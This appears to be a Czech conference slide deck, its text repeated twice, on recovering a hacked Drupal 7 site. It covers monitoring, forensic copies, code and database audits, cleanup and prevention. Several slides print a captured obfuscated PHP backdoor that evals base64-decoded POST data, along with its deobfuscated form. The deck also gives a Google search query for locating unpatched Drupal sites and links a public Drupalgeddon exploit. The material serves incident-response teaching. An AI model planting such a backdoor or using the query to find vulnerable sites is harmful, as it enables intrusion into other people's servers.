Hacknutý web. A co teď?
Radim Klaška, Morpht.com
Kdo je cílem?
Image: http://www.ogosense.com/blog/31-is-your-joomla-site-hacked-now-what
Kdo je cílem?
Image: http://www.binpress.com/images/stores/store357/php-web-crawler-166.png
Automatizované útoky
Kdo je cílem?
Image: Tatiana Popova, shuttershock.com
Konkurence
Monitoring
● Kdo je cílem?
Co sledovat?
● Server: logy
○ https://prague2013.drupal.org/session/have-
you-been-stalking-your-servers.html
○ Collectd Graph Panel / New Relic
● Drupal: logy
○ Views + grafy
○ Syslog (Drupal core)
○ ELK stack
● Monitoring dostupnosti
○ klíčové slovo
○ (ale to už je také pozdě)
● Uživatel ;-)
Monitoring
● Kdo je cílem?
New Relic
https://docs.newrelic.com/docs/agents/php-agent/frameworks-libraries/drupal-specific-functionality
Monitoring
● Kdo je cílem?
Elasticsearch, Logstash,
Kibana
Image: Logging drupal logs with Logstash and drupal_dblog:
https://blog.adminfactory.net/logging-drupal-logs-with-logstash-and-drupal_dblog.html
Drupal and Logstash: centralised logging https://events.drupal.
org/neworleans2016/sessions/drupal-and-logstash-centralised-logging
Monitoring
● Kdo je cílem?
UptimeRobot.com
https://uptimerobot.com/
Monitoring
● Kdo je cílem?
Mód údržby
Usecase
● Kdo je cílem?
● Monitoring
Reálný příklad
● Nová poptávka
● Asi nejhorší možný scénář
● Nový zákazník kterého neznáme
● Neznáme web
● Neznáme zázemí (hosting)
● Žádné kontakty na předchozího vývojáře
Audit I.
● Kdo je cílem?
● Monitoring
● Usecase
Než řeknete ANO
● Zjistit o nejvíce
● http://mxtoolbox.com/NetworkTools.aspx
● Kdo je vlastník?
● Má i jiné projekty?
● Zjistím hosting?
● Co hosting nabízí? (FTP / Git?)
● Je web dostupný?
● Co je účelem webu?
● Je pro zákazníka kritický?
● Budete nuceni s někým spolupracovat? (podpora
hostingu)
● Jak vypadá výstup (HMTL/CSS/JS) webu?
Audit I.
● Kdo je cílem?
● Monitoring
● Usecase
Náš případ
● web rozesílá e-mail spam
● Drupal 7.32
● web je dostupný
● podezření na špatně implementovanou theme
● Zjistil jsem majitele (nikdo mě nepřeprodává)
● Běžný hosting (FTP)
● V té době hosting nabádal k úpravě jádra!
● Web je pro zákazníka kritický (kontaktní info)
https://twitter.com/radimklaska/status/402923875111272448
Audit I.
● Kdo je cílem?
● Monitoring
● Usecase
Ano / vlastní web
Forensic Copy
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
Čas na zálohu
● Zálohovat vše
● Soubory
● Databáze
● Logy
● DNS
● Přístupové údaje
● Další klíčové informace (kdo má přístupy?)
Forensic Copy
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
Nikdy nepracovat
se zálohou
Forensic Copy
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
Nikdy nepracovat
se zálohou
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Zprovoznit
lokální verzi
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Strategie
● Záloha je pouze ke čtení
● Report píšeme od samého začátku
● Změníme přístupové údaje
● Musíme/můžeme se starat o bezpečnost hostingu?
● Lokální verzi analyzujeme a opravujeme za pochodu
● Živý web můžeme mezitím smazat a nahradit
jednoduchým index.html pro rychlé spuštění
● Využijeme contrib kódu k detekci změn
● Další nástroje nám pomohou s analýzou problému
● Důkladná analýza logů
● Analýza a oprava databáze
● Deployment
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Přístupové údaje
● Hesla uložená v FTP klientech?
● Spousta přístupů se dá úplně zakázat v době kdy
neprobíhá vývoj.
● Je nebezpečí kompromitovaného mailu klienta?
● Dvoufázové přihlášení
● FTP WTF?!? - SFTP / FTPS / SSH / Git
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
● https://www.drupal.org/project/hacked
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Aktuální stav
● https://www.drupal.org/project/site_audit
● https://www.drupal.org/project/hacked
● https://www.drupal.org/project/drupalgeddon
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Analýza kódu
● “Co tam je” vs. “Co tam má být”
● Většina kódu je z Drupal.org
● Nástroje
○ Git
○ Drush
○ Vývojové prostředí (PHPStorm...)
● git commit aktuální stav
● Rozdělit na
○ uživatelské soubory (.gitignore)
○ kód (jádro, moduly)
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Uživatelské soubory
● sites/*/files/*
● Žádné spustitelné soubory!
● TIP: Vypíše všechny koncovky:
find sites/default/files -type f | awk -
F. '!a[$NF]++{print $NF}'
● Smazat vše podezřelé
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Kód (contrib)
● git diff mezi drupal.org a aktuálním kódem
● drush generate-makefile current.make
○ http://drushcommands.com/drush-
8x/make/make-generate/
○ makefile obsahuje i použité verze
● Zkontrolovat a opravit umístění custom modulů
● Smazat vše kromě /sites
● Smazat contrib v /sites
● drush make current.make
○ http://drushcommands.com/drush-
8x/make/make/
○ stejné projekty ale čisté u drupal.org
● git diff HEAD^..HEAD
● contrib hacks vs. real hacks
● Pozor na libraries - manuálně
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Kód (contrib)
TIPs:
● git diff --stat <sha1> <sha1>
● git diff <sha1> <sha1>
● git diff <sha1> <sha1>
● git diff <sha1>:folder/file.php <sha1>:
folder/file.php
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Nákaza
Access log - podezřelé requesty:
195.182.142.73 - -
[20/Mar/2015:10:36:35 +0100] "POST
/sites/all/themes/contrib/adaptivetheme/adap
tivetheme/at_subtheme/theme-settings.php
HTTP/1.1" 200 346 "-" "Mozilla/5.0 (Windows
NT 6.1; WOW64; rv:33.0) Gecko/20100101
Firefox/33.0"
91.109.247.249 - - [21/Mar/2015:14:23:24
+0100] "POST
/modules/field/modules/options/options.api.
php HTTP/1.1" 200 346 "-" "Mozilla/5.0
(Windows NT 6.1; WOW64; rv:33.0)
Gecko/20100101 Firefox/33.0"
Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Nákaza
Zavirované soubory:
themes/garland/menu.php
files/styles/thumbnail/public/images/thumbna
ils/stats.php_
files/styles/thumbnail/public/images/thumbna
ils/stats.php
modules/image/3dn986.php
modules/trigger/ixmv.php
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Nákaza
Obsah souborů:
<?php
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].
$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].
$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF
[10]);$s22=${strtoupper($sF[11].$sF[0].$sF
[7].$sF[9].$sF[2])}['n7f2521'];if(isset
($s22)){eval($s21($s22));}?>
Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Nákaza
Obsah souborů:
<?php
$sF = "PCT4BA6ODSE_";
$s21 = "base64_decode";
$s22 = $_POST['n7f2521'];
if (isset($s22))
{
eval(base64_decode($s22));
}
?>
Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Kód (custom)
● je třeba najít a zkontrolovat převážně ručně
● vývojové prostředí pomůže s formátováním kódu dle
Drupal coding standards (https://www.drupal.
org/coding-standards) pro lepší čitelnost
● https://www.drupal.org/project/coder
○ Integruje Code Sniffer
○ https://github.
com/FloeDesignTechnologies/phpcs-security-
audit
● nejde jen o vlastní moduly, ale i o šablony!
Audit II.
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
Databáze
● Nákaza se těžko hledá
● https://www.drupal.org/project/drupalgeddon
testuje i databázi (http://cgit.drupalcode.
org/drupalgeddon/tree/checks/bad_menu_router_call
backs_check.inc)
● PHP_filter = zlo
● TIP: Adminer dovoluje lehce hledat řetězec napříč
všemi tabulkami.
● Začněte s eval, _decode, $_POST, php…
● Problém může být i v prostém oprávnění
○ /admin/config/content/formats
○ /admin/people/permissions
○ /admin/reports/status
Adminer: https://www.adminer.org/cs/
Zprovoznění
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
Čistý web
● Web je nyní čistě implementovaný
○ Pokud jsou ponechány úpravy contrib kódu, tak
jsou implementovány čistě (např. kombinací .
make a .patch souborů) a verzovány.
○ https://www.drupal.org/node/1432374
● Aktualizace (minimálně bezpečnostní)
○ drush ups
○ drush up
● Migrace na hosting
○ git push / drush sql-sync
○ https://github.com/git-ftp/git-ftp :(
Zprovoznění
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
Záchrana dokončena
● Web běží, je na čase se připravit na klienta
● Připravit report
○ Přehled - rychlý souhrn pro klienta a pro vás po
ročním odstupu
○ Technické detaily
■ git repozitář s celou historií oprav
■ veškeré “diffy” včetně příkazů které je
vytvořily
○ Plán/seznam následujících oprav
● Prevence
Prevence
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
Neprůstřelný web?
Prevence
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
Neprůstřelný web?
Prevence
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
● Verzování pomůže rychle identifikovat problém.
Neprůstřelný web?
Prevence
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
● Verzování pomůže rychle identifikovat problém.
● Správně nastavený server
○ http://blog.celogeek.com/201209/202/how-to-
configure-nginx-php-fpm-drupal-7-0/
○ žádná práva zápisu s vyjímkou sites/*/files/*
○ spustit lze jen index.php
Neprůstřelný web?
Prevence
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Jednoduše to nejde.
● Minimalizace rizika a zbytečné práce.
● Verzování pomůže rychle identifikovat problém.
● Správně nastavený server
○ http://blog.celogeek.com/201209/202/how-to-
configure-nginx-php-fpm-drupal-7-0/
○ žádná práva zápisu s vyjímkou sites/*/files/*
○ spustit lze jen index.php
● Automatizované procesy
○ zálohy
○ deployment
Neprůstřelný web?
Důvody
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Prevence
SA-CORE-2014-005
Důvody
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Prevence
● SA-CORE-2014-005 - Drupal core - SQL injection
○ Drupalgeddon
○ <7.32 (15.říjen 2014)
● Google:
inurl:CHANGELOG.txt intext:drupal
intext:"SA-CORE" -intext:7.32 -site:
github.com -site:drupal.org
● https://github.
com/MKorostoff/drupalgeddon/blob/master/attack/e
xploit.php
SA-CORE-2014-005
Souhrn
● Kdo je cílem?
● Monitoring
● Usecase
● Audit I.
● Forensic Copy
● Audit II.
● Zprovoznění
● Prevence
● Důvody
Co si odnést
● Nebojujte s best practices
● Používejte Git
● Přestaňte používat čisté FTP
● Sledujte https://www.drupal.org/security & https:
//www.drupal.org/security/contrib (newsletter)
● Nastavte si Code Sniffer ve svém vývojovém prostředí
○ Pravidla dodržujte průběžně, ne “až na konec”
● Vyzkoušejte
○ https://pantheon.io/
○ http://getdevshop.com/
○ https://github.com/geerlingguy/drupal-vm
Dotazy
@radimklaska / radim@klaska.net
Hacknutý web. A co teď?
Radim Klaška, Morpht.com

Hacknutý Drupal web. A co teď?

  • 1.
    Hacknutý web. Aco teď? Radim Klaška, Morpht.com
  • 2.
    Kdo je cílem? Image:http://www.ogosense.com/blog/31-is-your-joomla-site-hacked-now-what
  • 3.
    Kdo je cílem? Image:http://www.binpress.com/images/stores/store357/php-web-crawler-166.png Automatizované útoky
  • 4.
    Kdo je cílem? Image:Tatiana Popova, shuttershock.com Konkurence
  • 5.
    Monitoring ● Kdo jecílem? Co sledovat? ● Server: logy ○ https://prague2013.drupal.org/session/have- you-been-stalking-your-servers.html ○ Collectd Graph Panel / New Relic ● Drupal: logy ○ Views + grafy ○ Syslog (Drupal core) ○ ELK stack ● Monitoring dostupnosti ○ klíčové slovo ○ (ale to už je také pozdě) ● Uživatel ;-)
  • 6.
    Monitoring ● Kdo jecílem? New Relic https://docs.newrelic.com/docs/agents/php-agent/frameworks-libraries/drupal-specific-functionality
  • 7.
    Monitoring ● Kdo jecílem? Elasticsearch, Logstash, Kibana Image: Logging drupal logs with Logstash and drupal_dblog: https://blog.adminfactory.net/logging-drupal-logs-with-logstash-and-drupal_dblog.html Drupal and Logstash: centralised logging https://events.drupal. org/neworleans2016/sessions/drupal-and-logstash-centralised-logging
  • 9.
    Monitoring ● Kdo jecílem? UptimeRobot.com https://uptimerobot.com/
  • 10.
    Monitoring ● Kdo jecílem? Mód údržby
  • 11.
    Usecase ● Kdo jecílem? ● Monitoring Reálný příklad ● Nová poptávka ● Asi nejhorší možný scénář ● Nový zákazník kterého neznáme ● Neznáme web ● Neznáme zázemí (hosting) ● Žádné kontakty na předchozího vývojáře
  • 12.
    Audit I. ● Kdoje cílem? ● Monitoring ● Usecase Než řeknete ANO ● Zjistit o nejvíce ● http://mxtoolbox.com/NetworkTools.aspx ● Kdo je vlastník? ● Má i jiné projekty? ● Zjistím hosting? ● Co hosting nabízí? (FTP / Git?) ● Je web dostupný? ● Co je účelem webu? ● Je pro zákazníka kritický? ● Budete nuceni s někým spolupracovat? (podpora hostingu) ● Jak vypadá výstup (HMTL/CSS/JS) webu?
  • 13.
    Audit I. ● Kdoje cílem? ● Monitoring ● Usecase Náš případ ● web rozesílá e-mail spam ● Drupal 7.32 ● web je dostupný ● podezření na špatně implementovanou theme ● Zjistil jsem majitele (nikdo mě nepřeprodává) ● Běžný hosting (FTP) ● V té době hosting nabádal k úpravě jádra! ● Web je pro zákazníka kritický (kontaktní info) https://twitter.com/radimklaska/status/402923875111272448
  • 14.
    Audit I. ● Kdoje cílem? ● Monitoring ● Usecase Ano / vlastní web
  • 15.
    Forensic Copy ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. Čas na zálohu ● Zálohovat vše ● Soubory ● Databáze ● Logy ● DNS ● Přístupové údaje ● Další klíčové informace (kdo má přístupy?)
  • 16.
    Forensic Copy ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. Nikdy nepracovat se zálohou
  • 17.
    Forensic Copy ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. Nikdy nepracovat se zálohou
  • 18.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Zprovoznit lokální verzi
  • 19.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Strategie ● Záloha je pouze ke čtení ● Report píšeme od samého začátku ● Změníme přístupové údaje ● Musíme/můžeme se starat o bezpečnost hostingu? ● Lokální verzi analyzujeme a opravujeme za pochodu ● Živý web můžeme mezitím smazat a nahradit jednoduchým index.html pro rychlé spuštění ● Využijeme contrib kódu k detekci změn ● Další nástroje nám pomohou s analýzou problému ● Důkladná analýza logů ● Analýza a oprava databáze ● Deployment
  • 20.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Přístupové údaje ● Hesla uložená v FTP klientech? ● Spousta přístupů se dá úplně zakázat v době kdy neprobíhá vývoj. ● Je nebezpečí kompromitovaného mailu klienta? ● Dvoufázové přihlášení ● FTP WTF?!? - SFTP / FTPS / SSH / Git
  • 21.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit
  • 22.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit
  • 23.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit ● https://www.drupal.org/project/hacked
  • 24.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Aktuální stav ● https://www.drupal.org/project/site_audit ● https://www.drupal.org/project/hacked ● https://www.drupal.org/project/drupalgeddon
  • 25.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Analýza kódu ● “Co tam je” vs. “Co tam má být” ● Většina kódu je z Drupal.org ● Nástroje ○ Git ○ Drush ○ Vývojové prostředí (PHPStorm...) ● git commit aktuální stav ● Rozdělit na ○ uživatelské soubory (.gitignore) ○ kód (jádro, moduly)
  • 26.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Uživatelské soubory ● sites/*/files/* ● Žádné spustitelné soubory! ● TIP: Vypíše všechny koncovky: find sites/default/files -type f | awk - F. '!a[$NF]++{print $NF}' ● Smazat vše podezřelé
  • 27.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Kód (contrib) ● git diff mezi drupal.org a aktuálním kódem ● drush generate-makefile current.make ○ http://drushcommands.com/drush- 8x/make/make-generate/ ○ makefile obsahuje i použité verze ● Zkontrolovat a opravit umístění custom modulů ● Smazat vše kromě /sites ● Smazat contrib v /sites ● drush make current.make ○ http://drushcommands.com/drush- 8x/make/make/ ○ stejné projekty ale čisté u drupal.org ● git diff HEAD^..HEAD ● contrib hacks vs. real hacks ● Pozor na libraries - manuálně
  • 28.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Kód (contrib) TIPs: ● git diff --stat <sha1> <sha1> ● git diff <sha1> <sha1> ● git diff <sha1> <sha1> ● git diff <sha1>:folder/file.php <sha1>: folder/file.php
  • 29.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Access log - podezřelé requesty: 195.182.142.73 - - [20/Mar/2015:10:36:35 +0100] "POST /sites/all/themes/contrib/adaptivetheme/adap tivetheme/at_subtheme/theme-settings.php HTTP/1.1" 200 346 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0" 91.109.247.249 - - [21/Mar/2015:14:23:24 +0100] "POST /modules/field/modules/options/options.api. php HTTP/1.1" 200 346 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0" Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
  • 30.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Zavirované soubory: themes/garland/menu.php files/styles/thumbnail/public/images/thumbna ils/stats.php_ files/styles/thumbnail/public/images/thumbna ils/stats.php modules/image/3dn986.php modules/trigger/ixmv.php
  • 31.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Obsah souborů: <?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4]. $sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11]. $sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF [10]);$s22=${strtoupper($sF[11].$sF[0].$sF [7].$sF[9].$sF[2])}['n7f2521'];if(isset ($s22)){eval($s21($s22));}?> Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
  • 32.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Nákaza Obsah souborů: <?php $sF = "PCT4BA6ODSE_"; $s21 = "base64_decode"; $s22 = $_POST['n7f2521']; if (isset($s22)) { eval(base64_decode($s22)); } ?> Tyto zachycené nákazy poskytl Ing. Petr Kratochvíl - http://krato.cz
  • 33.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Kód (custom) ● je třeba najít a zkontrolovat převážně ručně ● vývojové prostředí pomůže s formátováním kódu dle Drupal coding standards (https://www.drupal. org/coding-standards) pro lepší čitelnost ● https://www.drupal.org/project/coder ○ Integruje Code Sniffer ○ https://github. com/FloeDesignTechnologies/phpcs-security- audit ● nejde jen o vlastní moduly, ale i o šablony!
  • 34.
    Audit II. ● Kdoje cílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy Databáze ● Nákaza se těžko hledá ● https://www.drupal.org/project/drupalgeddon testuje i databázi (http://cgit.drupalcode. org/drupalgeddon/tree/checks/bad_menu_router_call backs_check.inc) ● PHP_filter = zlo ● TIP: Adminer dovoluje lehce hledat řetězec napříč všemi tabulkami. ● Začněte s eval, _decode, $_POST, php… ● Problém může být i v prostém oprávnění ○ /admin/config/content/formats ○ /admin/people/permissions ○ /admin/reports/status Adminer: https://www.adminer.org/cs/
  • 35.
    Zprovoznění ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. Čistý web ● Web je nyní čistě implementovaný ○ Pokud jsou ponechány úpravy contrib kódu, tak jsou implementovány čistě (např. kombinací . make a .patch souborů) a verzovány. ○ https://www.drupal.org/node/1432374 ● Aktualizace (minimálně bezpečnostní) ○ drush ups ○ drush up ● Migrace na hosting ○ git push / drush sql-sync ○ https://github.com/git-ftp/git-ftp :(
  • 36.
    Zprovoznění ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. Záchrana dokončena ● Web běží, je na čase se připravit na klienta ● Připravit report ○ Přehled - rychlý souhrn pro klienta a pro vás po ročním odstupu ○ Technické detaily ■ git repozitář s celou historií oprav ■ veškeré “diffy” včetně příkazů které je vytvořily ○ Plán/seznam následujících oprav ● Prevence
  • 37.
    Prevence ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění Neprůstřelný web?
  • 38.
    Prevence ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. Neprůstřelný web?
  • 39.
    Prevence ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. ● Verzování pomůže rychle identifikovat problém. Neprůstřelný web?
  • 40.
    Prevence ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. ● Verzování pomůže rychle identifikovat problém. ● Správně nastavený server ○ http://blog.celogeek.com/201209/202/how-to- configure-nginx-php-fpm-drupal-7-0/ ○ žádná práva zápisu s vyjímkou sites/*/files/* ○ spustit lze jen index.php Neprůstřelný web?
  • 41.
    Prevence ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Jednoduše to nejde. ● Minimalizace rizika a zbytečné práce. ● Verzování pomůže rychle identifikovat problém. ● Správně nastavený server ○ http://blog.celogeek.com/201209/202/how-to- configure-nginx-php-fpm-drupal-7-0/ ○ žádná práva zápisu s vyjímkou sites/*/files/* ○ spustit lze jen index.php ● Automatizované procesy ○ zálohy ○ deployment Neprůstřelný web?
  • 42.
    Důvody ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Prevence SA-CORE-2014-005
  • 43.
    Důvody ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Prevence ● SA-CORE-2014-005 - Drupal core - SQL injection ○ Drupalgeddon ○ <7.32 (15.říjen 2014) ● Google: inurl:CHANGELOG.txt intext:drupal intext:"SA-CORE" -intext:7.32 -site: github.com -site:drupal.org ● https://github. com/MKorostoff/drupalgeddon/blob/master/attack/e xploit.php SA-CORE-2014-005
  • 44.
    Souhrn ● Kdo jecílem? ● Monitoring ● Usecase ● Audit I. ● Forensic Copy ● Audit II. ● Zprovoznění ● Prevence ● Důvody Co si odnést ● Nebojujte s best practices ● Používejte Git ● Přestaňte používat čisté FTP ● Sledujte https://www.drupal.org/security & https: //www.drupal.org/security/contrib (newsletter) ● Nastavte si Code Sniffer ve svém vývojovém prostředí ○ Pravidla dodržujte průběžně, ne “až na konec” ● Vyzkoušejte ○ https://pantheon.io/ ○ http://getdevshop.com/ ○ https://github.com/geerlingguy/drupal-vm
  • 45.
  • 46.
    Hacknutý web. Aco teď? Radim Klaška, Morpht.com